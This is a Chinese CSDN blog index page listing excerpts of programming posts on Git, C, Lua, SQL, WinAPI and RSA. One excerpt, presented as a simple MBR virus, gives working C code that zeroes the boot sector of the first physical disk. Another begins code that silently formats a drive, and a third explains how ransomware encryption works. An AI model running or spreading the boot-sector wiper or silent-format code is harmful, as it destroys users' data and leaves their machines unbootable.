- 博客(67)
- 资源 (2)
- 收藏
- 关注
原创 GIT 中文乱码
# 使用 utf-8 编码集提交命令git config --global i18n.commitencoding utf-8# 日志输出时使用 utf-8 编码集显示git config --global i18n.logoutputencoding utf-8# 设置LESS字符集为 utf-8export LESSCHARSET=utf-8
2020-08-03 18:36:30
229
原创 C语言 时间戳转换
#include "stdio.h"#include "time.h"#include "string.h" char *t2t(time_t tick){ struct tm tm; static char s[100]; memset(s, 0, sizeof(s)); tm = *localtime(&tick); strftime(s, sizeof(s), "%Y-%m-%d %H:%M:%S", &tm); return s; }int
2020-06-03 17:39:14
2733
原创 C语言 文件映射
#include <windows.h>#include <stdio.h>typedef struct { HANDLE hFile; HANDLE hMapping; PVOID p; char *mem; int ok;} FP;void CloseF(FP *fp){ if(fp==NULL) return; if (fp->hFile != INVALID_HANDLE_VALUE) { CloseHandle(fp->hFi
2020-06-02 16:02:31
1078
原创 C语言 HexDump
#include <stdio.h>// 内存查看void hexDump(const unsigned char *data, size_t size){ int i; size_t offset = 0; while (offset < size) { printf("%04x ", offset); for (i=0; i<16; i++) { if (i%8 ==
2020-06-01 15:41:29
1050
原创 CSDN 页面一直自动刷新
好长时间没写博客了,打算更新点东西,结果卡在博客这个页面一直不停的刷新,起初以为是电脑问题,结果重启无果。然后简单百度了一下,发现也有人最近碰上这个问题,按照博主给出的方法,清空缓存 试了下,果然可以正常访问了,诶。火狐浏览器...
2020-04-28 14:50:02
1242
原创 TCC 编译 Lua
run.bat@echo offset FP=srccd /d %~dp0PATH="%cd%"for /f %%i in ('dir /b "%FP%\*.c"') do (if %%i neq luac.c (call set b=%%b%% %%i))cd %FP%..\tcc\tcc %b% -o ..\lua.exe -I.pause目录结构.├─src└─t...
2019-11-22 11:02:15
349
原创 Git 精简命令
# 初次安装完配置git config --global user.name "你的用户名"git config --global user.email 你的邮箱git config --global core.quotepath false# 创建版本库git init # 添加历史记录git add --allgit commit -m "注释信息"# 回退历史git...
2019-11-06 13:58:45
182
原创 Everything SDK 使用
#include <stdio.h>#include "Everything.h"int main(int argc, char **argv){ DWORD i; Everything_SetSearch("hello"); // 查找字符 Everything_SetRequestFlags(EVERYTHING_REQUEST_FILE_NA...
2019-10-15 15:02:52
1278
原创 字体设置对话框
#include <windows.h>#include <commdlg.h>#include <stdio.h>typedef struct{ int bold; int italic; int size; char name[32];} FontStyle;int FontMsg(FontStyle *fs...
2019-09-27 14:13:16
455
原创 C语言 PE文件获取自身大小
#include <windows.h>#include <stdio.h>DWORD GetPEFileRealSize(LPCTSTR lpszFile){ DWORD dwSize = 0; int i = 0; HANDLE hFile = CreateFile(lpszFile, GENERIC_READ, FILE_SHARE_READ, 0, ...
2019-09-21 16:48:12
815
原创 BAT 脚本
:: 关闭回显@echo off:: 设置控制台行列,颜色mode con cols=100 lines=30 & color 0a:: 设置参数set param=1234echo %param%:: 获取传入参数 %n:: %0 为批处理本身文件路径echo 参数1:%0echo 参数2:%1 ::去掉参数两边的引号echo %~0:: d 驱动器 ...
2019-08-23 10:22:18
126
原创 C语言 打印函数
可变参数#include <stdio.h>#include <stdarg.h>void my_print(int n, char *fmt, ...){ char printf_buf[128] = {0}; va_list args; va_start(args, fmt); vsprintf(printf_buf, fmt, args); pri...
2019-08-23 09:00:37
3942
原创 停机问题的误解
问题停机问题(Halting problem):是否存在这样一个程序,他能判断任意程序在输入确定的情况下是否为死循环。可以用 while(true) 表示死循环,构造例子如下:判断(输入){ if (输入 是死循环) return 死循环 else return 停机}假设有两个程序:A(){ return;}B(){ while(true);}那么...
2019-08-21 02:16:26
734
原创 C# 窗体弹出效果
using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Drawing;using System.Linq;using System.Text;using System.Threading.Tasks;using System.W...
2019-08-16 16:08:37
2663
原创 C语言 打印可变参数
#include <stdio.h>#include <stdarg.h> // 可变参数头文件void my_print(int n, char *fmt, ...){ char printf_buf[128] = {0}; va_list args; va_start(args, fmt); vsprintf(printf_buf, fmt, args)...
2019-08-15 13:08:04
570
原创 LaTeX 公式 在线编辑
我们以公式$$1 - \sum_{k=0}^z \frac {\lambda^k e^{-\lambda}}{k!} (1 - (\frac {q} {p})^{(z-k)})$$1−∑k=0zλke−λk!(1−(qp)(z−k))1 - \sum_{k=0}^z \frac {\lambda^k e^{-\lambda}}{k!} (1 - (\frac {q} {p})^{(z...
2019-08-14 15:55:55
2387
原创 [图解] 勒索病毒加密原理
示意图原理公开密钥密码体制 要求密钥成对出现,一个用于加密,另一个用于解密,并且且不可能从其中一个推导出另一个。加密过程病毒作者首先在自己电脑上生成的 私钥Q 和 公钥Q,算法可以基于RSA或者椭圆曲线。病毒在目标电脑上随机生成 私钥Z 和 公钥Z将用户电脑上的文件通过 公钥Z 加密将用户电脑上的 私钥Z 通过 公钥Q 加密删除用户电脑上的 私钥Z 、公钥Q、数据解密过程支付...
2019-08-13 23:46:39
8166
原创 DosBox + Masm 学习16位汇编
Masm 是16位汇编工具,所以在64位系统上无法运行,需要 DOS 模拟器安装完 dosbox 之后, 将 masm 文件复制到当前目录只有 dosbox.exe, sdl.dll, sdl_nel.dll 三个文件有用,其余都可删除DosBox 目录如下dosbox.conf 中内容全部清空,复制以下代码[autoexec]mount c .set PATH=%PATH%;c:...
2019-08-08 02:08:18
1083
原创 第二章 Windows API
1.常用的Windows数据类型#include <windows.h>#include <stdio.h>/* ************************************* 功能 Windows 数据类型演示**************************************/int WINAPI WinMain( ...
2019-08-05 10:53:36
151
原创 第一章 Windows程序开发入门
弹出消息对话框/* 预处理 *//* 头文件 */#include <windows.h>//连接时使用User32.lib#pragma comment (lib, "User32.lib")/* ************************************* WinMain* 功能 Windows应用程序示例*******************...
2019-08-05 10:47:58
2336
原创 Windows API 函数创建 下拉菜单 右键菜单
效果代码#include <windows.h>#pragma comment(linker, "/subsystem:windows /entry:WinMainCRTStartup")HMENU g_menu;// 下拉菜单void OnCreate(HWND hWnd){ HMENU hMenu = CreateMenu(); HMENU hM...
2019-08-01 14:39:26
1872
1
原创 正则表达式简单使用
行开始结束标记行开始 ^行结束 $匹配内容任意字符 .数字 \d空白 \s标识符 \w指定字符 [abc]非数字 \D非空白 \S非标识 \W非指定 [^abc]换行 \n匹配数量0~1 ?1~无穷 +0~无穷 *n~m {n,m}匹配模式非贪婪模式 ?例#define N1 1#define N2 2#define N3 3匹配...
2019-07-25 14:30:11
190
原创 WinAPI 数据类型
# 启动 MySQL 服务sudo service mysql start# 使用 root 用户登录,密码为空mysql -u root# 查看全部数据库show databases;# 创建数据库CREATE DATABASE mysql_shiyan;# 连接数据库use mysql_shiyan;# 创建表CREATE TABLE employee (id ...
2019-07-19 15:06:17
1996
原创 C语言 获取 Windows 版本
//获取windows版本信息#define Is2k() (g_uWinVer >= 0x0500)#define IsXP() (g_uWinVer >= 0x0501)#define IsVista() (g_uWinVer >= 0x0600)#define IsW7() (g_uWinVer >= 0x0601)UINT16 g_uW...
2019-07-11 11:03:41
1369
原创 RSA 原理说明
明文=密文DmodN明文=密文^DmodN明文=密文DmodNNN= p * q ;p,q互质LL=lcm(p-1,q-1) ; L为p-1、q-1的最小公倍数EE < L,E, L互质DD < L,E*D mod L = 1...
2019-07-11 10:43:48
456
原创 Lua 迭代器
无状态迭代器迭代函数是普通函数,输入相同,则输出相同,需要通过额外参数控制状态。--无状态迭代器MAX = 4function sq(num,i) if i<num then i = i+1 return i, i*i endendfor key,val in sq,MAX,0 do print(key.." "..val)end...
2019-07-11 10:13:23
173
原创 SQL 简单操作
建表 CREATE TABLE 表名(列名 类型 限定); 类型:INT EGER REAL CHAR(50) TEXT 限定:PRIMARY KEY NOT NULL UNIQUE DEFAULT CHECK 删表 DROP TABLE ...
2019-07-11 10:10:23
127
原创 GCC 基本使用
选项参数说明gcc源文件.c-E预处理文件.i-C不删除注释-S汇编文件.s-masm=intel使用intel汇编-c目标文件.o-o输出文件名-O0取消优化-Os体积优化-O2推荐优化-xc不根据后缀名判断文件c-headerc++assem...
2019-07-11 10:07:34
151
原创 Lua IO
--写入local file = assert(io.open("demo.txt",'w'))--'a'追加file:write("写入内容") --file:flush()file:close()--读取local file = assert(io.open("demo.txt",'r'))local content = file:read("*all")print(conte...
2019-07-11 09:53:40
173
原创 Lua 协程
多线程 就像是实时对战游戏,同一时间两名玩家可以同时运动。协程 就像是棋牌游戏,表面上是两个同时在玩,实际上只是两个人交替执行,同一时间只有一名玩家可以活动。所以协程不会存在死锁等多线程特有的问题。协程可以通过顺序流的代码进行模拟,就像自己跟自己下棋,先走一步,然后坐到对面走一步,再坐回来…多线程如果底层不支持的话是没法模拟的。所以协程更像是一种高级的语法糖,把一个人的步骤分到两个人身上执行,这...
2019-07-11 09:48:40
124
原创 Linux常用文件操作
作用 命令 参数 清屏 clear ctrl+l 时间 data -s 设置时间 删除 rm -r递归 -f不询问 新建 mkdir 文件夹 touch 文件 移动 mv 复制 cp 显示 ls -a所有 -l详细 ...
2019-07-11 09:46:26
112
原创 Lua 模块
意为:写在另一个文件中的代码--test.luatest = {}function test.show() print("This is show function.")endreturn test--use.lua--require "test"require("test")test.show还有一种方法(5.3已废弃, 官方不推荐使用module函数了):mo...
2019-07-11 09:44:23
701
原创 Git 总结
#查看配置$ git config --list #配置用户名邮箱$ git config --global user.name "用户名"$ git config --global user.email 123@qq.com #初始化仓库$ git init #添加到缓冲区$ git add . #删除工作区+缓冲区$ git rm 文件名 #删除工作区$ r...
2019-07-11 09:39:48
218
原创 C语言 获取网页内容
参考来源:https://blog.csdn.net/xiahn1a/article/details/41680959vc6 上编译通过#include <winsock.h>#include <stdio.h>#pragma comment(lib, "ws2_32.lib")void ReadPage1(char *host, char *fname){...
2019-07-11 09:21:03
6851
6
原创 C语言 静默格式化硬盘
无法格式化正在运行的系统盘静默格式化, 无任何窗口提示#include <windows.h>#pragma comment(linker, "/subsystem:windows /entry:WinMainCRTStartup")// d:需要格式化的盘符void fmtDisk(char d){ char str[] = " : /q /u /y"; str[0...
2019-07-09 15:00:42
1148
原创 C语言 比较日期大小
#include <time.h>#include <stdio.h>int cmptime(int year, int month, int day){ time_t now_time = 0, set_time = 0; struct tm p; p.tm_year = year-1900; p.tm_mon = month-1; p.tm_mday ...
2019-07-09 13:02:23
8408
原创 C语言 简单 MBR 病毒 4行代码
清除 MBR 使系统无法启动#include <stdio.h>int main(){ FILE *disk = fopen("\\\\.\\PHYSICALDRIVE0", "rb+"); char mbr[512] = {0}; fwrite(mbr, sizeof(mbr), 1, disk); fclose(mbr); return 0;}...
2019-07-08 12:31:04
2739
5
原创 C语言 Windows 隐藏任务栏
#include <windows.h>int main(){ ShowWindow (FindWindow("Shell_TrayWnd", NULL), SW_HIDE); // 隐藏任务栏 ShowWindow (FindWindow("Shell_TrayWnd", NULL), SW_SHOW); // 显示任务栏 return 0;}...
2019-07-08 11:12:03
1081
TCC编译Lua.zip
2019-11-22
Dosbox+masm免安装配置.zip
2019-08-08
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人